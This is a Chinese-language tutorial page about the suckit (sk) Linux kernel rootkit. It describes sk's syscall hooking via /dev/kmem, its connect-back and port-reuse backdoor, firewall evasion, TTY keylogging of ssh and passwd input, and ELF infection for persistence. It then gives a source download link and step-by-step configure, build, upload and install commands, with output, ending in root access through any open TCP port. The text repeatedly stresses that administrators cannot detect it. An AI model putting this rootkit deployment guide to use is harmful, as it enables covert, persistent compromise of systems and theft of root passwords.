萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 作業系統 >  >> Linux 教學

Linux 後門系列:suckit Rootkit 技術深度解析

一、簡介

在 Linux 入侵領域,suckit (簡稱 sk,Super User Control Kit) 是 Linux 2.4 核心下最具代表性的 Rootkit 之一。以靜態 ELF 檔案形式存在,壓縮後僅數十 KB,無需編譯環境即可直接部署,極大降低後門植入門檻。

關鍵字: Linux 後門、Rootkit、Linux 入侵、suckit、adore-ng、ELF 感染

1. 背景知識:什麼是 LKM

LKM (Loadable Kernel Module,可載入核心模組) 區別於一般應用程式的系統級程式,用於動態擴展核心功能。可動態載入記憶體,無需重新編譯核心,廣泛用於聲卡、網卡驅動。類比 MS-DOS TSR (常駐記憶體程式) 與 Windows VxD (虛擬裝置驅動)——皆為常駐記憶體程式,能捕獲系統中斷,功能極強。Linux Rootkit 多採 LKM 技術實現。

2. sk 攻擊原理概述

sk 核心機制:透過存取 /dev/kmem (核心記憶體裝置) 攔截並修改系統呼叫,實現後門與隱藏功能。

系統呼叫是核心提供的強大函數,為用戶程式與核心交互介面。應用層函數 (fork、open 等) 最終經軟中斷陷入核心,呼叫對應系統呼叫完成功能。修改系統呼叫入口指向,即可控制核心行為。

範例程式使用 glibc fork/exit,追蹤發現皆經軟中斷進入核心由系統呼叫實現。可見系統呼叫是用戶介面在核心中的實現——修改系統呼叫,即控制用戶對核心所有存取。隱藏檔案、進程、網路連線皆依賴篡改系統呼叫。

二、sk 特色功能

sk 1.x 版本功能

  1. 靜態 ELF 後門: 服務端靜態編譯 ELF,壓縮數十 KB。區別傳統 LKM 後門面臨編譯環境缺失、核心碼不匹配問題,sk 僅需下載即執行,部署極便利。
  2. TCP 埠激活機制: 客戶端向目標任一開放 TCP 埠發送特定資料激活後門回連。客戶端具自動掃描功能,自動發現開放埠發送激活指令。防火牆限制回連埠時,可指定特殊埠 (如 80、443) 繞過規則。
  3. TTY Sniffer (鍵盤記錄器): 內建 TTY 嗅探,記錄控制台與遠端連線操作。依關鍵字抓取 tty 記錄,涵蓋 ssh、passwd、telnet、login 等敏感協定/指令。優於 thc.org keylogger,輕易捕獲 root 密碼。
  4. 動態隱藏機制: 採動態方式隱藏檔案、進程、網路連線。客戶端登入後,除檔案依 prefix 隱藏外,一切操作自動隱藏,無需手動配置。優於 adore-ng 等需手動逐一隱藏的 Rootkit,體驗更人性化。
  5. 隱蔽自動啟動: 透過替換系統 init 檔案實現後門自動啟動,正常情況極難被管理員發現。

sk 2.x 版本增強功能

  1. 服務端與客戶端整合: 合併為單一程式。0x557 的 sam 牛牛修改 PuTTY 作為 sk2 客戶端,極大方便 Windows 環境管理目標系統的使用者。
  2. 埠復用後門: 埠回連升級為埠復用模式,sk2 能復用系統大部分埠,傳統封包過濾防火牆幾乎無法阻擋。
  3. ELF 感染式自啟動: 感染系統 ELF 可執行檔實現自動啟動 (如感染 /sbin/syslogd,syslogd 啟動時 sk2 同步啟動)。靈活隱蔽,發表時公開後門/Rootkit 中幾乎無採用 ELF 感染自啟動者。
  4. 增強加密保護: 程式執行受嚴格加密保護,無正確密碼無法安裝後門或執行客戶端。

sk2 雖功能大幅提升,但公開版 sk2rc2 仍存 BUG,細節將於後續《Linux 後門系列——由淺入深 sk2 完全分析》披露。

三、sk 1.3 編譯與使用全流程

安裝使用極簡單,編譯一次即可攜帶使用。

1. 下載與配置

原始碼:https://www.xfocus.net/tools/200408/sk-1.3b.tar.gz

執行配置:

tthacker@wzt:~/sk# make skconfig

配置參數:

  • Rootkit 密碼: 設定後門登入密碼
  • 隱藏目錄: 預設 /dev/sk13
  • 檔案隱藏前綴: 預設 sk13

完成提示:"Configuration saved. From now, only this configuration will be used by generated binaries till you do skconfig again."

2. 編譯

tthacker@wzt:~/sk# make

生成自我安裝腳本 inst。提示:"Okay, file 'inst' is complete, self-installing script. Just upload it somewhere, execute and you could log in using ./login binary. Have fun!"

3. 安裝與使用

上傳 inst 至目標系統執行:

tthacker@wzt:~/sk# ./inst
Your home is /dev/sk13, go there and type ./sk to install us into memory. Have fun!

安裝後所有後門程式置於隱藏目錄 /dev/sk13,管理員無法察覺。

tthacker@wzt:~/sk# cd /dev/sk13
tthacker@wzt:/dev/sk13# ./sk
RK_Init: idt=0xffc18000

安裝完成,使用客戶端 login (編譯 sk 時同步生成) 登入:

usage: ./login [hsditc] ...args
-h 目標主機 IP/hostname
-s 監聽回連埠 (目標有防火牆時指定;未指定則自動偵測)
-d 認證服務埠 (echo/telnet/ssh/httpd 等佳選)
-i 請求發送間隔 (秒)
-t 等待伺服器逾時 (秒)
-c 連線逾時 (秒)

只要目標開放任一 TCP 埠,即可透過該埠以 root 權限進入系統。

copyright © 萬盛學電腦網 all rights reserved